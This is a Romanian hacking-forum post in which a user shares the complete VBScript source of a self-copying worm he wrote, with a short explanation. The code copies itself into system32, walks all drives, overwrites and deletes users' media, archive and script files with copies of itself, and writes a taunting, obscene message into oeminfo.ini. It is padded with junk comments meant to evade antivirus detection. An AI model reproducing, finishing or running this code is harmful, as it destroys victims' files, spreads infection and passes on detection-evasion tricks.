Bine ati venit pe HackTeam Forum !
Aici veti gasi o gama larga de metode de hack atat pe Windows cat si pe platforme Linux/Unix , programe in consecinta ,tutoriale .
In acelasi timp aici veti gasi si asistenta help in materie corespunzatoare . Precizam ca tot ce se gaseste pe acest site este doar in scop de dezvoltare iar voi va asumati intreaga raspundere pt actiunile pe care le savarsiti . || SS-TEAM || Va Multumeste pt vizita !
|
Lista Forumurilor Pe Tematici
|
Bine ati venit pe HackTeam Forum ! | Reguli | Inregistrare | Login
POZE BINE ATI VENIT PE HACKTEAM FORUM !
Nu sunteti logat.
|
Nou pe simpatie:
draghici_elena2000 22 ani
 | Femeie
22 ani
Dambovita
cauta Barbat
24 - 62 ani |
|
Win32
Th3 Best
 Inregistrat: acum 19 ani
Postari: 269
|
|
Hmm... anu trecut m-am chinuit sa fac amaratu asta de vierme care mi-a mancat 3 zile din viata, ca nu aveam prea multe cunostinte de VB.
Ce face?
Pai el este sub forma de script. Cand va fi rulat, instructiunile din el vor fi executate de numitul: Wscript.exe din system32.
Deci prima data el cauta fisiere cu extensiile: *.rar, *.zip, *.jpg, *.bmp, *.avi... etc.
Dupa care le va sterge si le va inlocui cu el insusi, apoi va crea un fisier oeminfo.ini in system32 care va adauga un buton la SysteInfo si niste comentarii cam porcoase, dar nu am mai stat sa le schimb ca mi-a fost lene :)).
Probabil va intrbati ce-s cu 'sdkfksdjjjjjjjjjjjjsdfsd..... alea is puse intre lini sub forma de comentarii pentru a-l face mai greu de dectat.
Cand l-am facut m-am inspirat unpic din Love-Letter, dar ce mai conteaza... l-am facut prin aplrilie 2006....
COD:
====================
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,dow
'asnkdajklshhhhhhhhhhhhhhhhhhhhakldlsjdfaskjdf;asdnh;fkahsdn;
eq=""
'asdlkjfnhaskljdhfjkasbhdjkfasdjfkjasdhfuiahsdiofasl;dkfipsdhfauipsdh
ctr=0
'asdjfhausdhfipuahsefljasdjfha;sdhtisdkgfndhgfisdkfjskdriusiouedroisodk
Set fso = CreateObject("Scripting.FileSystemObject")
'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
'sdaufhasudhgkasjdbnjkpasuihgftodnhasgjkdngl;srhgtuahsdjlbgfasjkfhiusdgftib
'fdfhiausdhfajsdhjfhasdjjjjjjjjjshaduifhalksdjxfhalusdhfrasuioerhyfasdjohaj
main()
'sdfkhseoirhaiojlasdkjrioaeuorasuroisuedriouaoieurioasdkjkskskskskksks
sub main()
'sdklfisdhrsjelkrjsoieropasieaosiedar9useiosueioru
On Error Resume Next
'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr
dim wscr,rr
'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout")
if (rr>=1) then
'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr
wscr.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
'dkafioashfiahsodfiasdkjskdjioafsjdifjlaskjdfhasdjkhfajkshdfoiaieuirq;owiej
Set dirsystem = fso.GetSpecialFolder(1)
'asekhfrasdiohfklasdruioasdhriuahsduihyiufhkjsadhlafkjdhrauiehyriuhyasduhflsk
Set dirtemp = fso.GetSpecialFolder(2)
'sdlfkjaoisdhfjasdhkjfhauiosdyruiahysduioasjdhfasjfhiuasyeruryaosuihfrauiserh
Set c = fso.GetFile(WScript.ScriptFullName)
'asdjkfhagfaiseuhjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjejsehahuef
c.Copy(dirsystem&"Win32.vbs")
regruns()
'asdjkfhagfaiseuhjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjejsehahuef
listadriv()
'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr
End Sub
'asdjkfhagfaiseuhjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjejsehahuef
sub listadriv
'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr
On Error Resume Next
'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr
Dim d,dc,s
'asdjkfhagfaiseuhjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjejsehahuef
Set dc = fso.Drives
'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr
For Each d in dc
'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr
If d.DriveType = 2 or d.DriveType=3 Then
'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr
folderlist(d.path&"")
'asdjkfhagfaiseuhjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjejsehahuef
end if
'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr
Next
listadriv = s
'asdjkfhagfaiseuhjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjejsehahuef
end sub
sub infectfiles(folderspec)
'asdjkfhagfaiseuhjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjejsehahuef
On Error Resume Next
'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr
dim f,f1,fc,ext,ap,s,bname
'asdjkfhagfaiseuhjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjejsehahuef
set f = fso.GetFolder(folderspec)
set fc = f.Files
'asdjkfhagfaiseuhjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjejsehahuef
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
'asdjkfhagfaiseuhjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjejsehahuef
s=lcase(f1.name)
If (ext="avi") or (ext="mp3") or (ext="jpg") or (ext="bmp") or (ext="gif") or (ext="png") Or (ext="zip") Or (ext="rar") Or (ext="vbs") Or (ext="mpg") Or (ext="mpeg") Or (ext="") Then
'asedfhasbgfkhsdgkfshufahderajshdljkfahsdkuxchvajxhkljeiuraiusehyjfahsldjfhyasidouy
fso.CopyFile(dirsystem&"win32.vbs") , f1.Path , true
'sadiohfasdiojfoaisudhgfuiasdhjjjjjjjjjjjshuioeareiouuuuuuuuuuuuuuuuu
'sdafjkahsdiuuuuuuuuuuuuuuuuuuuuuuuuuuiasdjnhfkasjdnhfouiasdhfrauieuh
'asdfahsdddddddddddddddddfhioasdihfoiaerhastuiorathoerithaieuhtauisdh
bname=fso.GetBaseName(f1.path)
'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr
set cop=fso.GetFile(f1.path)
'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr
cop.copy(folderspec&""&bname&".vbs")
'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr
fso.DeleteFile(f1.Path)
'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr
end If
'asdjkfhagfaiseuhjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjejsehahuef
if (eq<>dirsystem) Then
'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr
if (s="oeminfo.ini") or (s="script.ini") Then
'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr
set scriptini=fso.CreateTextFile(dirsystem&"oeminfo.ini")
'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr
scriptini.WriteLine "[General]"
'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr
scriptini.WriteLine "Manufacturer= by Win32"
'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr
scriptini.WriteLine "Model=--> Th3 Best H4ckeR <--"
'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr
scriptini.WriteLine ""
'asdjkfhagfaiseuhjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjejsehahuef
scriptini.WriteLine "[Support Information]"
'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr
scriptini.WriteLine "Line1=Salut, sunt Win32 !!"
'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr
scriptini.WriteLine "Line2=Probabil cand vei citi aceste randuri este prea tarziu sa mai oprejti masacrul :D"
'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr
scriptini.WriteLine "Line3=Windouze-ul tau a fost ciuruit si futut de viermele meu Win32.Worm.kill_media.A"
'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr
scriptini.WriteLine "Line4=Daca ejti strain si nu intelegi, sa ma sugi de ****... nu stateam eu sa traduc si ptr tine..."
'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr
scriptini.WriteLine "Line5=Poate cineva a avut boala pe tine si ti-a trimis viermele=> rezulta ca ai fost o persoana rea."
'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr
scriptini.WriteLine "Line6=Deci poti sa-ti dai format la HDD ca aprox. 80% a fost mancat vierme :D"
'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr
scriptini.WriteLine "Line7=Sa nu uiti ziua asta, Zbye!!"
'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr
scriptini.Close
'asdjkfhagfaiseuhjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjejsehahuef
eq=dirsystem
end If
'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr
end If
'asdjkfhagfaiseuhjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjejsehahuef
next
end sub
sub folderlist(folderspec)
'asdjkfhagfaiseuhjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjejsehahuef
On Error Resume Next
dim f,f1,sf
'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders
'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr
for each f1 in sf
infectfiles(f1.path)
'asdkljfioasdhfrsjkdrasjieuriaseojpfsdjlkfajskdljfiopsuruspdorspdrjksdlkjr
folderlist(f1.path)
next
end Sub
'-----------------------------------------------------------------------------
' End of the fucking Script
'-----------------------------------------------------------------------------
================
47.7KB
_______________________________________
*MI-AM DAT DEMISIA DE PE ACEST FORUM, NU MAI SUPORT STERSUL PROVOCAT DE n00bi.
*Pt mai mlte detalii vizitati sectiunea "Parerea ta"
|
|
| pus acum 18 ani |
|
